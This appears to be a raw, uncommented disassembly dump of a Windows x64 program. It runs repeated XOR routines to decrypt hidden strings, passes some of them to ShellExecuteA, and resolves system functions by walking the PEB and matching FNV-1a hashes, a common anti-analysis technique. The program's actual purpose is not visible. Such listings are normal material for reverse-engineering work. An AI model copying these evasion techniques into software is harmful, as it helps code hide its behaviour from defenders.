mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140064570
cmp r8d, 0x22
jge 0x1400646b0
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140064680
mov rcx, r10
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
lea rdx, [rbp + 0xce9]
mov byte [rbp - 0x35], 0
lea rcx, [rbp - 0x35]
call fcn.1400666b0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140064870
mov r8d, r12d
cmp edi, 2
jl 0x140064835
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140064730
cmp r8d, 0x15
jge 0x140064870
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140064840
mov rcx, r10
call fcn.140033e90
lea rdx, [rbp + 0x1312]
mov byte [rbp - 0x1b], 0
lea rcx, [rbp - 0x1b]
call fcn.140066650
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140064a20
mov r8d, r12d
cmp edi, 2
jl 0x1400649e5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400648e0
cmp r8d, 0x22
jge 0x140064a20
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x1400649f0
mov rcx, r10
call fcn.140033e90
call fcn.1400125c0
call fcn.140036c50
call fcn.140036c50
call fcn.140036c50
lea rdx, [rbp + 0xcfe]
mov byte [rbp - 0x33], 0
lea rcx, [rbp - 0x33]
call fcn.1400666e0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140064be0
mov r8d, r12d
cmp edi, 2
jl 0x140064ba7
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140064aa2
cmp r8d, 0x15
jge 0x140064be0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140064bb0
mov rcx, r10
call fcn.140034030
movss xmm8, dword [0x14011f3d8]
movss xmm7, dword [0x14011f410]
mov r15d, 1
call fcn.1400118b0
xor edx, edx
mov dword [rsp + 0x28], 6
xor ecx, ecx
mov dword [rsp + 0x20], 6
mov r9d, 0x161
mov r8d, 0x23f
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rcx, qword [0x14018a860]
mov r8d, r15d
mov rdx, rax
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov r14d, dword [reloc.WS2_32.dll_accept]
mov r12d, dword [rbp + 0x28]
call fcn.14000b5b0
mov rcx, qword [0x14018ae98]
lea r8, [0x14018ae80]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x4b0], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x14018ae98]
lea r8, [rbp + 0x4b0]
mov rdx, qword [0x14018ae80]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140008610
mov rcx, rax
call fcn.14003e150
mov rcx, qword [0x14018ae88]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
jmp 0x14005d790
lea rcx, [0x1401891f8]
call fcn.140068200
mov rcx, rax
lea rdx, [rsp + 0x60]
mov r8d, Ordinal_46
call fcn.14000ee20
call fcn.140041ff0
call fcn.140012ab0
mov edx, 0xff
mov dword [rsp + 0x20], __WSAFDIsSet
mov r9d, edx
lea rcx, [rbp + 0x7f0]
mov r8d, edx
mov r12, rax
call fcn.140033790
mov rcx, rax
call fcn.140041600
movaps xmm2, xmm10
lea rcx, [rbp + 0x348]
movaps xmm1, xmm10
mov r15d, eax
call fcn.140001e70
xorps xmm2, xmm2
lea rcx, [rbp + 0x350]
xorps xmm1, xmm1
mov r14, rax
call fcn.140001e70
movss xmm2, dword [0x14011f418]
lea rcx, [rbp + 0x358]
movaps xmm1, xmm6
mov rsi, rax
addss xmm1, xmm7
call fcn.140001e70
movaps xmm2, xmm8
lea rcx, [rbp + 0x360]
movaps xmm1, xmm6
mov rdi, rax
call fcn.140001e70
mov rdx, qword [0x14018a9a0]
mov r9, rdi
mov dword [rsp + 0x30], r15d
mov r8, rax
mov qword [rsp + 0x28], r14
mov rcx, r12
mov qword [rsp + 0x20], rsi
call fcn.14002bc80
xor ecx, ecx
call fcn.14000bce0
test al, al
je 0x140064f9f
lea rdx, [rbp + 0xd13]
mov byte [rbp - 0x32], 0
lea rcx, [rbp - 0x32]
call fcn.140066730
mov rdi, rax
mov esi, 1
cmp byte [rax + 0x14], 0
je 0x140064f50
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140064f15
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, Ordinal_32
movdqa xmm5, xmmword [0x14011f510]
mov rcx, rdi
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm6, esi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140064e10
cmp r8d, 0x15
jge 0x140064f50
movsxd r9, r8d
add r9, rdi
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x140064f20
lea rdx, [rbp + 0x200]
mov byte [rbp - 0x31], 0
lea rcx, [rbp - 0x31]
call fcn.140066710
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140064f81
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov r8, rdi
mov qword [rsp + 0x20], 0
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rbp + 0x13c]
movzx r12d, word [rbp + 0x130]
movzx r15d, word [rbp + 0x132]
movzx r14d, word [rbp + 0x136]
movzx esi, word [rbp + 0x138]
movzx edi, word [rbp + 0x13a]
cmp edx, 9
ja 0x140065024
lea rcx, [rbp + 0xa30]
call fcn.140041690
mov r8, rax
lea rdx, [0x1400f9b2c]
lea rcx, [rbp + 0xa10]
call fcn.140069aa0
mov rdx, rax
lea rcx, [0x140189138]
call fcn.140068370
lea rcx, [rbp + 0xa10]
call fcn.140068310
lea rcx, [rbp + 0xa30]
jmp 0x140065046
lea rcx, [rbp + 0xa50]
call fcn.140041690
mov rdx, rax
lea rcx, [0x140189138]
call fcn.140068370
lea rcx, [rbp + 0xa50]
call fcn.140068310
mov edx, edi
cmp edi, 9
ja 0x140065098
lea rcx, [rbp + 0xa90]
call fcn.140041690
mov r8, rax
lea rdx, [0x1400f9b2c]
lea rcx, [rbp + 0xa70]
call fcn.140069aa0
mov rdx, rax
lea rcx, [0x140189218]
call fcn.140068370
lea rcx, [rbp + 0xa70]
call fcn.140068310
lea rcx, [rbp + 0xa90]
jmp 0x1400650ba
lea rcx, [rbp + 0xab0]
call fcn.140041690
mov rdx, rax
lea rcx, [0x140189218]
call fcn.140068370
lea rcx, [rbp + 0xab0]
call fcn.140068310
mov edx, esi
cmp esi, 9
ja 0x14006510c
lea rcx, [rbp + 0xaf0]
call fcn.140041690
mov r8, rax
lea rdx, [0x1400f9b2c]
lea rcx, [rbp + 0xad0]
call fcn.140069aa0
mov rdx, rax
lea rcx, [0x140188fa0]
call fcn.140068370
lea rcx, [rbp + 0xad0]
call fcn.140068310
lea rcx, [rbp + 0xaf0]
jmp 0x14006512e
lea rcx, [rbp + 0xb10]
call fcn.140041690
mov rdx, rax
lea rcx, [0x140188fa0]
call fcn.140068370
lea rcx, [rbp + 0xb10]
call fcn.140068310
mov edx, r14d
cmp r14d, 9
ja 0x140065182
lea rcx, [rbp + 0xb50]
call fcn.140041690
mov r8, rax
lea rdx, [0x1400f9b2c]
lea rcx, [rbp + 0xb30]
call fcn.140069aa0
mov rdx, rax
lea rcx, [0x140189098]
call fcn.140068370
lea rcx, [rbp + 0xb30]
call fcn.140068310
lea rcx, [rbp + 0xb50]
jmp 0x1400651a4
lea rcx, [rbp + 0xb70]
call fcn.140041690
mov rdx, rax
lea rcx, [0x140189098]
call fcn.140068370
lea rcx, [rbp + 0xb70]
call fcn.140068310
mov edx, r15d
cmp r15d, 9
ja 0x1400651f8
lea rcx, [rbp + 0xbb0]
call fcn.140041690
mov r8, rax
lea rdx, [0x1400f9b2c]
lea rcx, [rbp + 0xb90]
call fcn.140069aa0
mov rdx, rax
lea rcx, [0x140189078]
call fcn.140068370
lea rcx, [rbp + 0xb90]
call fcn.140068310
lea rcx, [rbp + 0xbb0]
jmp 0x14006521a
lea rcx, [rbp + 0xbd0]
call fcn.140041690
mov rdx, rax
lea rcx, [0x140189078]
call fcn.140068370
lea rcx, [rbp + 0xbd0]
call fcn.140068310
mov edx, r12d
lea rcx, [rbp + 0x8b0]
call fcn.140041690
lea r8, [0x14011b000]
mov rdi, rax
lea rdx, [0x140189098]
lea rcx, [rbp + 0x890]
call fcn.14006a010
mov rdx, rax
lea r8, [0x140189078]
lea rcx, [rbp + 0x870]
call fcn.14006a120
mov rdx, rax
lea r8, [0x14011b000]
lea rcx, [rbp + 0x850]
call fcn.140069fa0
mov r8, rdi
lea rcx, [rbp + 0x830]
mov rdx, rax
call fcn.14006a0f0
mov rdx, rax
lea r8, [0x14011b004]
lea rcx, [rbp + 0x810]
call fcn.140069fa0
mov rdx, rax
lea r8, [0x140188fa0]
lea rcx, [rbp + 0xc70]
call fcn.14006a120
mov rdx, rax
lea r8, [0x14011b000]
lea rcx, [rbp + 0xc50]
call fcn.140069fa0
mov rdx, rax
lea r8, [0x140189218]
lea rcx, [rbp + 0xc30]
call fcn.14006a120
mov rdx, rax
lea r8, [0x14011b000]
lea rcx, [rbp + 0xc10]
call fcn.140069fa0
mov rdx, rax
lea r8, [0x140189138]
lea rcx, [rbp + 0xbf0]
call fcn.14006a120
mov rdx, rax
lea rcx, [0x140189018]
call fcn.140068370
lea rcx, [rbp + 0xbf0]
call fcn.140068310
lea rcx, [rbp + 0xc10]
call fcn.140068310
lea rcx, [rbp + 0xc30]
call fcn.140068310
lea rcx, [rbp + 0xc50]
call fcn.140068310
lea rcx, [rbp + 0xc70]
call fcn.140068310
lea rcx, [rbp + 0x810]
call fcn.140068310
lea rcx, [rbp + 0x830]
call fcn.140068310
lea rcx, [rbp + 0x850]
call fcn.140068310
lea rcx, [rbp + 0x870]
call fcn.140068310
lea rcx, [rbp + 0x890]
call fcn.140068310
lea rcx, [rbp + 0x8b0]
call fcn.140068310
lea rdx, [rbp + 0x190]
mov byte [rbp - 0x30], 0
lea rcx, [rbp - 0x30]
call fcn.140066760
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400653c9
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor cl, 0x34
mov byte [rax + 2], cl
mov rcx, rax
call fcn.140033e90
lea rcx, [rbp + 0x108]
call fcn.14000bec0
lea rcx, [rbp + 0x180]
call fcn.14000bee0
xor ecx, ecx
call fcn.14000bce0
test al, al
je 0x140065436
movss xmm2, dword [rbp + 0x184]
lea rcx, [rbp + 0x368]
movss xmm1, dword [rbp + 0x180]
addss xmm2, dword [rbp + 0x10c]
addss xmm1, dword [rbp + 0x108]
call fcn.140001e70
mov rdx, rax
lea rcx, [rbp + 0x108]
mov r8b, 1
call fcn.140013690
test al, al
jne 0x14006543f
cmp byte [0x14018a61c], 0
je 0x140065462
cmp byte [0x14018a61e], 0
mov byte [0x14018a61c], 0
sete byte [0x14018a61e]
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x14015d3c4]
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
mov rcx, qword [0x14018a9b8]
call fcn.140012520
lea rdx, [rbp + 0x1530]
mov byte [rbp - 0x2f], 0
lea rcx, [rbp - 0x2f]
call fcn.140066780
mov r12d, dword [reloc.WS2_32.dll_accept]
xor r14d, r14d
mov r10, rax
cmp byte [rax + 0x2d], r14b
je 0x140065630
mov r8d, r14d
cmp r12d, 2
jl 0x1400655f5
movdqa xmm0, xmmword [0x14011f5c0]
mov eax, 1
movdqa xmm5, xmmword [0x14011f510]
mov rcx, r10
movdqa xmm4, xmmword [0x14011f5b0]
movdqa xmm7, xmmword [0x14011f540]
movd xmm6, eax
mov eax, Ordinal_32
movdqa xmmword [rbp - 0x80], xmm0
mov edx, dword [rbp - 0x80]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14011f5a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400654f0
cmp r8d, 0x2e
jge 0x140065630
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140065600
mov rcx, r10
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm10
xorps xmm2, xmm2
lea rcx, [rbp + 0x800]
movaps xmm1, xmm10
call fcn.140001e80
mov rdx, rax
xor ecx, ecx
call fcn.140004ac0
lea rdx, [rbp + 0x205]
mov byte [rbp - 0x2e], 0
lea rcx, [rbp - 0x2e]
call fcn.1400667c0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x14006569c
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor cl, 0x36
mov byte [rax + 4], cl
mov rcx, rax
call fcn.140033e90
call fcn.1400125c0
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
mov r15d, 1
mov ecx, r15d
call fcn.140004b20
lea rcx, [rbp + 0x110]
call fcn.14000bec0
lea rcx, [rbp + 0x188]
call fcn.14000bee0
xor ecx, ecx
call fcn.14000bce0
test al, al
je 0x140065732
movss xmm2, dword [rbp + 0x18c]
lea rcx, [rbp + 0x370]
movss xmm1, dword [rbp + 0x188]
addss xmm2, dword [rbp + 0x114]
addss xmm1, dword [rbp + 0x110]
call fcn.140001e70
mov rdx, rax
lea rcx, [rbp + 0x110]
movzx r8d, r15b
call fcn.140013690
test al, al
je 0x140065732
mov byte [0x14018a85d], r15b
jmp 0x14006573f
cmp byte [0x14018a85d], 0
je 0x140065980
mov dword [rbp + 0xcc], r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400657d7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400657d7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400657d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400657b0
cmp r8d, 0xcded1a85
je 0x1400657dc
test r9d, r9d
jne 0x140065790
mov rax, qword [rax]
jmp 0x140065760
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xcc]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xd0], r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140065897
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140065897
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140065892
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140065870
cmp r8d, 0xe80fd3a
je 0x14006589c
test r9d, r9d
jne 0x140065850
mov rax, qword [rax]
jmp 0x140065820
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0xd0]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
